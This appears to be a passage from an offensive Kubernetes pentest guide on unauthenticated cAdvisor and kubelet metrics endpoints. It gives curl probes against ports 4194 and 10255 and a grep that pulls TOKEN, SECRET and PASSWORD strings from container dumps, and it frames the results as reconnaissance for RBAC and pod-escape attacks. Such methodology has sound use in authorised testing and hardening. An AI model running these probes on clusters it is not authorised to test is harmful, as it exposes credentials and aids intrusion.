cAdvisor collects resource statistics for every container and historically served them on port 4194; the kubelet also exposes /metrics, /metrics/cadvisor, and /stats endpoints, and clusters run metrics-server and Prometheus exporters. These are monitoring surfaces, but when reachable without authentication they disclose a detailed map of what runs where: container names, images, pod and namespace labels, and resource usage. Some expose container command lines and environment, which can include secrets passed as arguments or variables.
Probe the endpoints:
# legacy cAdvisor UI/API
curl -s http://<node>:4194/api/v1.3/containers/ | python3 -m json.tool | head -60
# kubelet-exposed cAdvisor metrics (via read-only port or the kubelet)
curl -s http://<node>:10255/metrics/cadvisor | head
curl -s http://<node>:10255/stats/summary | python3 -m json.tool | head
What leaks#
# container specs include labels, images, and sometimes env/args
curl -s http://<node>:4194/api/v1.3/containers/ | \
grep -iE 'image|namespace|env|argv|TOKEN|SECRET|PASSWORD'
# the topology alone maps every workload, aiding target selection
Exploitation notes#
- Treat these as reconnaissance: they rarely give execution, but they reveal the full workload inventory (images, namespaces, labels), which guides where to aim the RBAC and pod-escape routes.
- Environment variables or command-line arguments surfaced in container metadata occasionally contain credentials passed insecurely; grep the dumps for secret-like strings.
- These endpoints are often left open on the node network even when the main APIs are locked down, so they are a useful low-friction first look at an otherwise hardened cluster.